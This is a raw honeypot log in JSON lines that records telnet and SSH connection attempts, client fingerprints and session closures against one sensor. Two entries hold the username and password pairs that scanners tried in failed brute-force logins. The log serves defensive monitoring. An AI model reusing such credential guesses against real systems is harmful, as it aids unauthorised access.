{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":56844,"dst_ip":"159.203.135.109","dst_port":23,"session":"6df0029feeec","protocol":"telnet","message":"New connection: 69.6.249.0:56844 (159.203.135.109:23) [session: 6df0029feeec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:56.331704Z"}
{"eventid":"cowrie.session.closed","duration":31.188703536987305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:57.029424Z","src_ip":"69.6.249.0","session":"f2bedd2b577a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.59486675262451,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:35:57.852541Z","src_ip":"69.6.249.0","session":"6238cac6c0f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.474339485168457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:01.525988Z","src_ip":"69.6.249.0","session":"36706905645b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09583234786987,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:03.710995Z","src_ip":"69.6.249.0","session":"f41780e7e2c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":56856,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffa19fe62fff","protocol":"telnet","message":"New connection: 69.6.249.0:56856 (159.203.135.109:23) [session: ffa19fe62fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:03.862533Z"}
{"eventid":"cowrie.session.closed","duration":32.6190071105957,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:07.607596Z","src_ip":"69.6.249.0","session":"6f26ac0cbb99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36534,"dst_ip":"159.203.135.109","dst_port":23,"session":"96fffde3477d","protocol":"telnet","message":"New connection: 69.6.249.0:36534 (159.203.135.109:23) [session: 96fffde3477d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:08.790730Z"}
{"eventid":"cowrie.session.closed","duration":31.83433747291565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:09.536698Z","src_ip":"69.6.249.0","session":"c6e88438a9cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.597086906433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:15.905528Z","src_ip":"69.6.249.0","session":"0b1c179dec27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14878582954407,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:16.577525Z","src_ip":"69.6.249.0","session":"70bca5be113f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47632,"dst_ip":"159.203.135.109","dst_port":23,"session":"5248816e7b7e","protocol":"telnet","message":"New connection: 69.6.249.0:47632 (159.203.135.109:23) [session: 5248816e7b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:17.662670Z"}
{"eventid":"cowrie.session.closed","duration":32.0870304107666,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:17.879884Z","src_ip":"69.6.249.0","session":"1bf1822a25df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14340019226074,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:19.552757Z","src_ip":"69.6.249.0","session":"b0f1495494f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":47636,"dst_ip":"159.203.135.109","dst_port":23,"session":"785d342396d9","protocol":"telnet","message":"New connection: 69.6.249.0:47636 (159.203.135.109:23) [session: 785d342396d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:20.647573Z"}
{"eventid":"cowrie.session.closed","duration":31.54610800743103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:24.007256Z","src_ip":"68.178.168.57","session":"de4f27d9427b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.65314745903015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:24.081583Z","src_ip":"69.6.249.0","session":"d1a5fadd2458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":60628,"dst_ip":"159.203.135.109","dst_port":23,"session":"863683435732","protocol":"telnet","message":"New connection: 69.6.249.0:60628 (159.203.135.109:23) [session: 863683435732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:24.573597Z"}
{"eventid":"cowrie.session.closed","duration":31.769975900650024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:24.840811Z","src_ip":"69.6.249.0","session":"bb35d846017c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":60634,"dst_ip":"159.203.135.109","dst_port":23,"session":"58c06eb09e31","protocol":"telnet","message":"New connection: 69.6.249.0:60634 (159.203.135.109:23) [session: 58c06eb09e31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:25.826089Z"}
{"eventid":"cowrie.session.closed","duration":32.19766044616699,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:28.529249Z","src_ip":"69.6.249.0","session":"6df0029feeec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":42048,"dst_ip":"159.203.135.109","dst_port":22,"session":"21f620a80aab","protocol":"ssh","message":"New connection: 163.7.6.74:42048 (159.203.135.109:22) [session: 21f620a80aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:29.157107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:29.161359Z","src_ip":"163.7.6.74","session":"21f620a80aab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:29.415559Z","src_ip":"163.7.6.74","session":"21f620a80aab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome123$%^","message":"login attempt [ubuntu/Welcome123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:30.461263Z","src_ip":"163.7.6.74","session":"21f620a80aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:31.719538Z","src_ip":"163.7.6.74","session":"21f620a80aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":60636,"dst_ip":"159.203.135.109","dst_port":23,"session":"a817eadb6590","protocol":"telnet","message":"New connection: 69.6.249.0:60636 (159.203.135.109:23) [session: a817eadb6590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:33.690567Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46486,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c1dc29e019","protocol":"telnet","message":"New connection: 69.6.249.0:46486 (159.203.135.109:23) [session: 35c1dc29e019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:36.369445Z"}
{"eventid":"cowrie.session.closed","duration":32.66001343727112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:36.522407Z","src_ip":"69.6.249.0","session":"ffa19fe62fff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46500,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a0088822749","protocol":"telnet","message":"New connection: 69.6.249.0:46500 (159.203.135.109:23) [session: 6a0088822749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:36.582502Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46502,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca12534cab87","protocol":"telnet","message":"New connection: 69.6.249.0:46502 (159.203.135.109:23) [session: ca12534cab87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:38.029888Z"}
{"eventid":"cowrie.session.closed","duration":31.307958602905273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:40.098577Z","src_ip":"69.6.249.0","session":"96fffde3477d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46514,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b083c638bf","protocol":"telnet","message":"New connection: 69.6.249.0:46514 (159.203.135.109:23) [session: f4b083c638bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:41.234251Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":46522,"dst_ip":"159.203.135.109","dst_port":23,"session":"6429ef9a81c4","protocol":"telnet","message":"New connection: 69.6.249.0:46522 (159.203.135.109:23) [session: 6429ef9a81c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:42.531944Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53012,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea628f2cc05a","protocol":"ssh","message":"New connection: 80.94.92.186:53012 (159.203.135.109:22) [session: ea628f2cc05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:48.194437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:48.262548Z","src_ip":"80.94.92.186","session":"ea628f2cc05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:48.418053Z","src_ip":"80.94.92.186","session":"ea628f2cc05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.600292444229126,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:49.262820Z","src_ip":"69.6.249.0","session":"5248816e7b7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41908,"dst_ip":"159.203.135.109","dst_port":23,"session":"5744171abcc0","protocol":"telnet","message":"New connection: 69.6.249.0:41908 (159.203.135.109:23) [session: 5744171abcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:50.020110Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41914,"dst_ip":"159.203.135.109","dst_port":23,"session":"39c8019ddd84","protocol":"telnet","message":"New connection: 69.6.249.0:41914 (159.203.135.109:23) [session: 39c8019ddd84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:50.610636Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Password123","message":"login attempt [solana/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:51.408540Z","src_ip":"80.94.92.186","session":"ea628f2cc05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41928,"dst_ip":"159.203.135.109","dst_port":23,"session":"136c58710d44","protocol":"telnet","message":"New connection: 69.6.249.0:41928 (159.203.135.109:23) [session: 136c58710d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:51.536632Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41932,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ebfde0b4286","protocol":"telnet","message":"New connection: 69.6.249.0:41932 (159.203.135.109:23) [session: 4ebfde0b4286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:51.867881Z"}
{"eventid":"cowrie.session.closed","duration":31.354859113693237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:52.002295Z","src_ip":"69.6.249.0","session":"785d342396d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:52.801571Z","src_ip":"80.94.92.186","session":"ea628f2cc05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":41942,"dst_ip":"159.203.135.109","dst_port":23,"session":"232280990d2b","protocol":"telnet","message":"New connection: 69.6.249.0:41942 (159.203.135.109:23) [session: 232280990d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:53.094554Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59728,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf0cba230fd","protocol":"telnet","message":"New connection: 69.6.249.0:59728 (159.203.135.109:23) [session: fdf0cba230fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:54.705274Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59736,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ab096d7ba18","protocol":"telnet","message":"New connection: 69.6.249.0:59736 (159.203.135.109:23) [session: 0ab096d7ba18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:54.724950Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59740,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a28c9bdcfa9","protocol":"telnet","message":"New connection: 69.6.249.0:59740 (159.203.135.109:23) [session: 6a28c9bdcfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:55.178131Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59750,"dst_ip":"159.203.135.109","dst_port":23,"session":"480d4b348b84","protocol":"telnet","message":"New connection: 69.6.249.0:59750 (159.203.135.109:23) [session: 480d4b348b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:55.491506Z"}
{"eventid":"cowrie.session.closed","duration":31.23296022415161,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:55.806439Z","src_ip":"69.6.249.0","session":"863683435732","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":59766,"dst_ip":"159.203.135.109","dst_port":23,"session":"43e0f913bfca","protocol":"telnet","message":"New connection: 69.6.249.0:59766 (159.203.135.109:23) [session: 43e0f913bfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:56.319802Z"}
{"eventid":"cowrie.session.closed","duration":31.560081481933594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:36:57.386053Z","src_ip":"69.6.249.0","session":"58c06eb09e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18422794342041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:04.874696Z","src_ip":"69.6.249.0","session":"a817eadb6590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36184,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d1ac2ec67c1","protocol":"telnet","message":"New connection: 69.6.249.0:36184 (159.203.135.109:23) [session: 1d1ac2ec67c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:05.946865Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36194,"dst_ip":"159.203.135.109","dst_port":23,"session":"a176fc67dcdb","protocol":"telnet","message":"New connection: 69.6.249.0:36194 (159.203.135.109:23) [session: a176fc67dcdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:06.132309Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36202,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bbf1c3ad0c4","protocol":"telnet","message":"New connection: 69.6.249.0:36202 (159.203.135.109:23) [session: 6bbf1c3ad0c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:06.581949Z"}
{"eventid":"cowrie.session.closed","duration":31.63738226890564,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:08.006728Z","src_ip":"69.6.249.0","session":"35c1dc29e019","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.920336961746216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:08.502747Z","src_ip":"69.6.249.0","session":"6a0088822749","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36212,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1f9dc63d09d","protocol":"telnet","message":"New connection: 69.6.249.0:36212 (159.203.135.109:23) [session: e1f9dc63d09d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:09.647724Z"}
{"eventid":"cowrie.session.closed","duration":32.03256106376648,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:10.062368Z","src_ip":"69.6.249.0","session":"ca12534cab87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":36222,"dst_ip":"159.203.135.109","dst_port":23,"session":"9707c485ae16","protocol":"telnet","message":"New connection: 69.6.249.0:36222 (159.203.135.109:23) [session: 9707c485ae16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:11.264949Z"}
{"eventid":"cowrie.session.closed","duration":31.157816410064697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:12.391950Z","src_ip":"69.6.249.0","session":"f4b083c638bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05607867240906,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:14.587908Z","src_ip":"69.6.249.0","session":"6429ef9a81c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42588,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f29d6d1ac60","protocol":"telnet","message":"New connection: 69.6.249.0:42588 (159.203.135.109:23) [session: 7f29d6d1ac60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:16.237066Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42592,"dst_ip":"159.203.135.109","dst_port":23,"session":"353279374261","protocol":"telnet","message":"New connection: 69.6.249.0:42592 (159.203.135.109:23) [session: 353279374261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:16.596620Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42596,"dst_ip":"159.203.135.109","dst_port":23,"session":"debb7211872e","protocol":"telnet","message":"New connection: 69.6.249.0:42596 (159.203.135.109:23) [session: debb7211872e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:18.746778Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":42602,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1473ac16e3e","protocol":"telnet","message":"New connection: 69.6.249.0:42602 (159.203.135.109:23) [session: d1473ac16e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:21.059060Z"}
{"eventid":"cowrie.session.closed","duration":32.38695526123047,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:22.406949Z","src_ip":"69.6.249.0","session":"5744171abcc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10908031463623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:22.976835Z","src_ip":"69.6.249.0","session":"4ebfde0b4286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.466819524765015,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:23.077347Z","src_ip":"69.6.249.0","session":"39c8019ddd84","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.272027015686035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:37:23.808559Z","src_ip":"69.6.249.0","session":"136c58710d44","protocol":"telnet"}
